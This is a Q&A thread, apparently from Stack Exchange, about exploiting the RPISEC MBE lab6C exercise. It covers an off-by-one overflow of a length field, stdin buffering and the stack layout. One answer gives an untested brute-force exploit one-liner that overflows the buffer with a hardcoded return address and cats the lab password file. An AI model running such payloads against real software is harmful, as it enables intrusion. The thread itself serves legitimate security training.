2

Working through a binary exploitation course posted by RPI a few years ago. Currently on the ASLR lab and having some trouble with it (although not with the parts related to ASLR). I can't figure out how to exploit to begin with, to then deal with the additional complexity of the ASLR bypass.

Heres the code (running on 32 bit Ubuntu):
https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6C.c

I would think since they have you compile without the canary that there's an overflow to exploit. Looks like all the sizes are checked correctly except for the one for loop but there's also some weird behavior I don't understand.

Things I do/don't know or have tried:
1. If I write 40 characters to the username, then the for loop overwrites one byte of the message length field.
2. If the username is very long, then part of the tweet field is overwritten and the user input for fgets on line 58 is skipped and the tweet is no longer empty (this is the part I can't seem to understand). In set_tweet, the memory is zeroed at the start anyway, so if there was old data there, how could it not be erased?
3. If I could overwrite more than 1 byte of the message length of the struct, I could transfer more of the large readbuf into tweet and overrun that structure into other memory. Test compilation with 41 instead of 40 in the for loop confirms this.

1
  1. If I write 40 characters to the username, then the for loop overwrites one byte of the message length field.

You are right. This seems the key for the explotation here.

  1. If the username is very long, then part of the tweet field is overwritten and the user input for fgets on line 58 is skipped and the tweet is no longer empty (this is the part I can't seem to understand). In set_tweet, the memory is zeroed at the start anyway, so if there was old data there, how could it not be erased?

This is indeed unintuitive, and we need to dive into the way stdio works in order to explain it.

When we call fgets(readbuf, 128, stdin); (as in line 74), fgets reads from stdin into readbuf until it reaches a newline or 127 characters. However, when you write 128 or more characters (ie. at least 127 characters before a newline), the rest are kept in the stdin buffer, and extracted when calling fgets on line 58. That's why it doesn't need to ask the user again.

Suppose our username input is 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567\n

After line 74 readbuf will be 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456

and on reaching line 58, readbuf will be set to 7\n.

  1. If I could overwrite more than 1 byte of the message length of the struct, I could transfer more of the large readbuf into tweet and overrun that structure into other memory. Test compilation with 41 instead of 40 in the for loop confirms this.

Well, you can only write up to 255 bytes :)

However, that's enough for explotaition. Note that sizeof(struct savestate) = 184, and after save the stack contains ebx, the old ebp, and ret.

The stack layout at handle_tweet seems to be like this:

0xffffd840  <local2>
0xffffd844  <local1>
0xffffd848  <save>  aka. ebp-0xc0
0xffffd904  <old ebx>
0xffffd908  <old ebp>  current ebp points here
0xffffd90c  <return address>
0xffffd910  previous stack location

Good luck!

1
  • Thanks for the explanation, the stdin description also explains a few other things I wasn't sure about. "Well, you can only write up to 255 bytes :)" <- Read this and immediately realized what I wasn't considering, thanks. – Praet Aug 29 '17 at 1:48
1

I tried those exercises 1 year ago, it was fun and educative. Wasn't able to solve them all though.

If I write 40 characters to the username, then the for loop overwrites one byte of the message length field.

Yes, here is your exploit. I would try something like this:

#!/bin/bash

echo bruteforcin all things

while true 
do  
      python -c 'print "A"*40 + "\xff" + "B"*282 + "\x2b\x77\x76\xb7\n(cat /the/.pass/file/you/should/have/obtain/in/lab6b)\n"' | ./lab6C | grep -E "^[a-zA-Z0-9_\-]{12,}" && break 
done

Didn't test the code above actually, sorry if i mistyped something.

good luck.

2
  • That's basically what I figured out, that I can python print something higher than the 140 that's expected. Looks like I need to learn some regex =/. Thanks for the input though. Is the cat command there intended to be replaced with some ROP chain to complete that function? – Praet Aug 29 '17 at 21:56
  • @praet Did you retrieve the .pass file in the previous exercise ? lab6b – Baptiste Aug 30 '17 at 1:46

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.